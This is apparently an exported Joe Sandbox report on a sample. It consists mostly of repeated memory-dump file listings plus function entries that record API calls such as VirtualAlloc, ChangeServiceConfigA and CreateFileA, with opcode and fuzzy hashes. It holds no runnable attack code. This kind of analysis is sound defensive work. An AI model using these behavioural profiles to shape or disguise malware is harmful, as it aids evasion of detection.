Associated: 00000003.00000002.1854579999.000000000084F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854603121.0000000000850000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854622064.0000000000851000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854644152.0000000000853000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854665305.0000000000854000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854686015.0000000000856000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854705277.0000000000857000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854725690.000000000085F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854748181.0000000000870000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854766684.0000000000872000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854804128.00000000008B7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854804128.00000000008BD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854848513.00000000008CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854868697.00000000008CE000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_610000_F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.jbxd

Similarity

API ID: CreateFile
String ID: C
API String ID: 823142352-1037565863
Opcode ID: 44ce4c998b8b870bf46cf7826533cc9a1bec3e53c197a0d744178ee212f7b9c9
Instruction ID: caad2c19213f73b626b419161d69ff01964091ca99aa9b5ae98199594c198aa3
Opcode Fuzzy Hash: 44ce4c998b8b870bf46cf7826533cc9a1bec3e53c197a0d744178ee212f7b9c9
Instruction Fuzzy Hash: 3301287658414F9BCB24AFA4C8517DF3AC0FBCA344F200725D955A77C1C67D4D029728

Function 0061E558 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 29
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 0061F732

Strings

g-, xrefs: 0061EC7F

Memory Dump Source

Source File: 00000003.00000002.1851829170.000000000061A000.00000040.00000001.01000000.00000006.sdmp, Offset: 00610000, based on PE: true

Associated: 00000003.00000002.1851046848.0000000000610000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1851231541.0000000000612000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1851565441.0000000000616000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1851966609.0000000000626000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1852744557.0000000000797000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1852776576.0000000000799000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1852799976.00000000007A9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1852799976.00000000007B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853093829.00000000007B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853176408.00000000007BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853210807.00000000007C9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853239011.00000000007CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853315849.00000000007CC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853347355.00000000007CF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853487653.00000000007DE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853520263.00000000007DF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853565524.00000000007E9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853820799.00000000007EA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853862193.00000000007F2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853989694.00000000007F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854082331.00000000007FA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854115332.00000000007FF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854143667.000000000080D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854168526.0000000000810000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854196551.000000000081D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854221497.0000000000820000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854280245.0000000000821000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854314334.0000000000825000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854379565.0000000000826000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854405442.000000000082B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854433232.0000000000838000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854460939.0000000000839000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854486313.000000000083F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854511310.0000000000843000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854531909.0000000000844000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854555307.0000000000846000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854579999.000000000084F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854603121.0000000000850000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854622064.0000000000851000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854644152.0000000000853000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854665305.0000000000854000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854686015.0000000000856000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854705277.0000000000857000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854725690.000000000085F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854748181.0000000000870000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854766684.0000000000872000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854804128.00000000008B7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854804128.00000000008BD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854848513.00000000008CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854868697.00000000008CE000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_610000_F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.jbxd

Similarity

API ID: AllocVirtual
String ID: g-
API String ID: 4275171209-46863826
Opcode ID: d30db9464a554135f09429cad2357e3615f182d39c119c49daa0de942d9e0a98
Instruction ID: eaf2ea45d7dc819ab7195dd72607ffdec1ba24cc3a4dec737ad2be8edb3650b5
Opcode Fuzzy Hash: d30db9464a554135f09429cad2357e3615f182d39c119c49daa0de942d9e0a98
Instruction Fuzzy Hash: 05F09AB590C605DFC7006F24C8883ADBBA1EF04320F290628EE9247680C6338CD2DB87

Function 055915C4 Relevance: 1.8, APIs: 1, Instructions: 300
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ChangeServiceConfigA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?), ref: 055918C8

Memory Dump Source

Source File: 00000003.00000002.1857026888.0000000005590000.00000040.00000800.00020000.00000000.sdmp, Offset: 05590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5590000_F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.jbxd

Similarity

API ID: ChangeConfigService
String ID:
API String ID: 3849694230-0
Opcode ID: ef8eb6b932121d473df8070c9e01a46fe4168ff3e4be15fce9f7e39332e8aaad
Instruction ID: 0443687983653ded15e51d04cc1b19874f0f0a86e76350fb63689aba186994b7
Opcode Fuzzy Hash: ef8eb6b932121d473df8070c9e01a46fe4168ff3e4be15fce9f7e39332e8aaad
Instruction Fuzzy Hash: 7EC14C71D00A6A9FDF14CFA8C9457ADBBF2FB45310F148229E855E7290DB788881CB81

Function 007ACD68 Relevance: 1.6, APIs: 1, Instructions: 98
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 007ACD68

Memory Dump Source

Source File: 00000003.00000002.1852799976.00000000007A9000.00000040.00000001.01000000.00000006.sdmp, Offset: 00610000, based on PE: true

Associated: 00000003.00000002.1851046848.0000000000610000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1851231541.0000000000612000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1851565441.0000000000616000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1851829170.000000000061A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1851966609.0000000000626000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1852744557.0000000000797000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1852776576.0000000000799000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1852799976.00000000007B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853093829.00000000007B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853176408.00000000007BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853210807.00000000007C9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853239011.00000000007CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853315849.00000000007CC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853347355.00000000007CF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853487653.00000000007DE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853520263.00000000007DF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853565524.00000000007E9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853820799.00000000007EA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853862193.00000000007F2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853989694.00000000007F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854082331.00000000007FA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854115332.00000000007FF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854143667.000000000080D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854168526.0000000000810000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854196551.000000000081D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854221497.0000000000820000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854280245.0000000000821000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854314334.0000000000825000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854379565.0000000000826000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854405442.000000000082B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854433232.0000000000838000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854460939.0000000000839000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854486313.000000000083F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854511310.0000000000843000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854531909.0000000000844000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854555307.0000000000846000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854579999.000000000084F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854603121.0000000000850000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854622064.0000000000851000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854644152.0000000000853000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854665305.0000000000854000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854686015.0000000000856000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854705277.0000000000857000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854725690.000000000085F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854748181.0000000000870000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854766684.0000000000872000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854804128.00000000008B7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854804128.00000000008BD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854848513.00000000008CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854868697.00000000008CE000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_610000_F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 292bf40da01a3055a0c2978ec461319f9847b8f1b9f78576c79a5e6a3f1e50c8
Instruction ID: 0c2626319059fc58e3719fd683b47e016a09fc506af3099abc638e0b22b71027
Opcode Fuzzy Hash: 292bf40da01a3055a0c2978ec461319f9847b8f1b9f78576c79a5e6a3f1e50c8
Instruction Fuzzy Hash: 0931F2B250C304AFE711BF18DC42A7AFBE9EF54710F06492DEAD482210E63558948B97

Function 007AED53 Relevance: 1.6, APIs: 1, Instructions: 93
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(BCE3E524,?,BCE3E524,?,007AED48,00000003), ref: 007AEDEB

Memory Dump Source

Source File: 00000003.00000002.1852799976.00000000007A9000.00000040.00000001.01000000.00000006.sdmp, Offset: 00610000, based on PE: true

Associated: 00000003.00000002.1851046848.0000000000610000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1851231541.0000000000612000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1851565441.0000000000616000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1851829170.000000000061A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1851966609.0000000000626000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1852744557.0000000000797000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1852776576.0000000000799000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1852799976.00000000007B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853093829.00000000007B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853176408.00000000007BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853210807.00000000007C9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853239011.00000000007CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853315849.00000000007CC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853347355.00000000007CF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853487653.00000000007DE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853520263.00000000007DF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853565524.00000000007E9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853820799.00000000007EA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853862193.00000000007F2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853989694.00000000007F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854082331.00000000007FA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854115332.00000000007FF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854143667.000000000080D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854168526.0000000000810000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854196551.000000000081D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854221497.0000000000820000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854280245.0000000000821000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854314334.0000000000825000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854379565.0000000000826000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854405442.000000000082B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854433232.0000000000838000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854460939.0000000000839000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854486313.000000000083F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854511310.0000000000843000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854531909.0000000000844000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854555307.0000000000846000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854579999.000000000084F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854603121.0000000000850000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854622064.0000000000851000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854644152.0000000000853000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854665305.0000000000854000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854686015.0000000000856000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854705277.0000000000857000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854725690.000000000085F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854748181.0000000000870000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854766684.0000000000872000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854804128.00000000008B7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854804128.00000000008BD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854848513.00000000008CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854868697.00000000008CE000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_610000_F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: b29c5d4091b07e0834a60a8f4d13605a231c531a4ef04e70111779052f894984
Instruction ID: ce57d67c8c0b69e5a558b353c10a7e87a83dc80c6711d36921aabdd5c173e44f
Opcode Fuzzy Hash: b29c5d4091b07e0834a60a8f4d13605a231c531a4ef04e70111779052f894984
Instruction Fuzzy Hash: BE1104F720C1557DB214DE54AE50EFB77ADEAC7B30B30852EF401C2641E2941E095634

Function 007AED75 Relevance: 1.6, APIs: 1, Instructions: 83
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(BCE3E524,?,BCE3E524,?,007AED48,00000003), ref: 007AEDEB

Memory Dump Source

Source File: 00000003.00000002.1852799976.00000000007A9000.00000040.00000001.01000000.00000006.sdmp, Offset: 00610000, based on PE: true

Associated: 00000003.00000002.1851046848.0000000000610000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1851231541.0000000000612000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1851565441.0000000000616000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1851829170.000000000061A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1851966609.0000000000626000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1852744557.0000000000797000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1852776576.0000000000799000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1852799976.00000000007B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853093829.00000000007B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853176408.00000000007BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853210807.00000000007C9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853239011.00000000007CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853315849.00000000007CC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853347355.00000000007CF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853487653.00000000007DE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853520263.00000000007DF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853565524.00000000007E9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853820799.00000000007EA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853862193.00000000007F2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853989694.00000000007F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854082331.00000000007FA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854115332.00000000007FF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854143667.000000000080D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854168526.0000000000810000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854196551.000000000081D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854221497.0000000000820000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854280245.0000000000821000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854314334.0000000000825000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854379565.0000000000826000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854405442.000000000082B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854433232.0000000000838000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854460939.0000000000839000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854486313.000000000083F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854511310.0000000000843000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854531909.0000000000844000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854555307.0000000000846000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854579999.000000000084F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854603121.0000000000850000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854622064.0000000000851000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854644152.0000000000853000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854665305.0000000000854000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854686015.0000000000856000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854705277.0000000000857000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854725690.000000000085F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854748181.0000000000870000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854766684.0000000000872000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854804128.00000000008B7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854804128.00000000008BD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854848513.00000000008CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854868697.00000000008CE000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_610000_F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 15cb7bc2c0df60902ade81c7c8504f3812a70689cb4d027896dfe93a27ecabd7
Instruction ID: 20afb3c20cc119eb16c71051730287f6cbd97b5bedb1168b4c2fefeb5a3e4a91
Opcode Fuzzy Hash: 15cb7bc2c0df60902ade81c7c8504f3812a70689cb4d027896dfe93a27ecabd7
Instruction Fuzzy Hash: 481102F724D1567DF2249F54AE15EFB77ADEAC7B30B30462EF401D2641E2942D045A34

Function 007AED7D Relevance: 1.6, APIs: 1, Instructions: 78
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(BCE3E524,?,BCE3E524,?,007AED48,00000003), ref: 007AEDEB

Memory Dump Source

Source File: 00000003.00000002.1852799976.00000000007A9000.00000040.00000001.01000000.00000006.sdmp, Offset: 00610000, based on PE: true

Associated: 00000003.00000002.1851046848.0000000000610000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1851231541.0000000000612000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1851565441.0000000000616000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1851829170.000000000061A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1851966609.0000000000626000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1852744557.0000000000797000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1852776576.0000000000799000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1852799976.00000000007B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853093829.00000000007B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853176408.00000000007BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853210807.00000000007C9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853239011.00000000007CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853315849.00000000007CC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853347355.00000000007CF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853487653.00000000007DE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853520263.00000000007DF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853565524.00000000007E9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853820799.00000000007EA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853862193.00000000007F2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1853989694.00000000007F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1854082331.00000000007FA000.00000080.00000001.01000000.00000006.sdmpDownload File
